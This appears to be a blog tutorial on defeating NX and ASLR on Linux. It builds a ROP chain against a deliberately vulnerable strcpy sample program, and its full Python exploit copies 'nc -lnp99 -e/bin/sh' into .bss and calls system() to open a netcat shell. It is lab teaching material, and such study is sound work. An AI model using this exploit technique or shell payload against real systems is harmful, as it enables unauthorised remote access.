Bypassing NX+ASLR on Linux

On this post, we are going to study on a code exploiting a sample c program running on Linux platform.

Prerequisites:

1) Linux machine (virtual machine accepted)

2) ROPgadget tool (you can download here)

The sample.c pogram is as follows:



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main (int argc, char **argv){
 
    char buf [1024];
 
    if(argc == 2){
 
        strcpy(buf, argv[1]);
 
    }else{
 
        system("echo missing input");
 
    }
 
}

To be able to bypass Data Execution Prevention (DEP) we are going to use Return Oriented Programming (ROP). We are going to utilize writable .bss section to save our input.

One of the requirement for our exploit to run is to have system@plt and strcpy@plt function calls to exist in our program (just as the sample.c above). We are going to use strcpy’ing character strings to build the system call for netcat:

*strcpy@plt + *pop-pop-ret + *(bss+offset) + *(char value)

Eventually the system@plt will call the following command:

nc -lnp99 -e/bin/sh

You’ll understand better once we build the actual exploit code. Let’s start:

First run the following command to get address for each necessary character string value to build the netcat command:

ROPgadget –binary ./sample –memstr “nc _lp9e/bish”

Netcat ROPgadget

The next step is to determine a reliable writable address. The bss section will do for this:

Netcat BSS Values

Now get the addresses of Procedure Linkage Table (PLT) address for system and strcpy functions using the gdb debugger:

Netcat PLT Values

Finally find out a POP + POP + RET call using ROPgadget tool again:

Netcat pop+pop+ret

Okay, we’ve got now all the necessary pieces to build the puzzle. Let’s bring them together now:



#!/usr/bin/env python2
 
from struct import pack
import os
 
junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x08048320)
ppr = pack("<L", 0x080484f7) #pop pop ret
p = junk
p += strcpy
p += ppr
p += pack("<L", 0x080496d4) #bss
p += pack("<L", 0x0804813e) # 'n'
p += strcpy
p += ppr
p += pack("<L", 0x080496d5) #bss+1
p += pack("<L", 0x0804824b) # 'c'
p += strcpy
p += ppr
p += pack("<L", 0x080496d6) #bss+2
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496d7) #bss+3
p += pack("<L", 0x0804813b) # '-'
p += strcpy
p += ppr
p += pack("<L", 0x080496d8) #bss+4
p += pack("<L", 0x08048135) # 'l'
p += strcpy
p += ppr
p += pack("<L", 0x080496d9) #bss+5
p += pack("<L", 0x0804813e) # 'n'
p += strcpy
p += ppr
p += pack("<L", 0x080496da) #bss+6
p += pack("<L", 0x08048265) # 'p'
p += strcpy
p += ppr
p += pack("<L", 0x080496db) #bss+7
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496dc) #bss+8
p += pack("<L", 0x080484ee) # '9'
p += strcpy
p += ppr
p += pack("<L", 0x080496dd) #bss+9
p += pack("<L", 0x080484ee) # '9'
p += strcpy
p += ppr
p += pack("<L", 0x080496de) #bss+10
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496df) #bss+11
p += pack("<L", 0x0804813b) # '-'
p += strcpy
p += ppr
p += pack("<L", 0x080496e0) #bss+12
p += pack("<L", 0x0804825e) # 'e'
p += strcpy
p += ppr
p += pack("<L", 0x080496e1) #bss+13
p += pack("<L", 0x0804802a) # ' '
p += strcpy
p += ppr
p += pack("<L", 0x080496e2) #bss+14
p += pack("<L", 0x08048134) # '/'
p += strcpy
p += ppr
p += pack("<L", 0x080496e3) #bss+15
p += pack("<L", 0x08048137) # 'b'
p += strcpy
p += ppr
p += pack("<L", 0x080496e4) #bss+16
p += pack("<L", 0x08048136) # 'i'
p += strcpy
p += ppr
p += pack("<L", 0x080496e5) #bss+17
p += pack("<L", 0x0804813e) # 'n'
p += strcpy
p += ppr
p += pack("<L", 0x080496e6) #bss+18
p += pack("<L", 0x08048134) # '/'
p += strcpy
p += ppr
p += pack("<L", 0x080496e7) #bss+19
p += pack("<L", 0x08048142) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x080496e8) #bss+20
p += pack("<L", 0x08048326) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x080496e9) #bss+21
p += pack("<L", 0x0804802a) # ' '
p += pack("<L", 0x08048330) #system
p += "AAAA"
p += pack("<L", 0x080496d4) #bss (now contains "nc -lnp99 -e/bin/sh )
 
#print p
 
os.system("/opt/ropgadget/sample \""+p+"\"")


Now, if we run the exploit and test it on another terminal, we should be able to have a reverse shell 🙂

Netcat Test Exploit

References:

1) https://github.com/JonathanSalwan/ROPgadget

2) https://www.trustwave.com/Resources/SpiderLabs-Blog/Baby-s-first-NX-ASLR-bypass/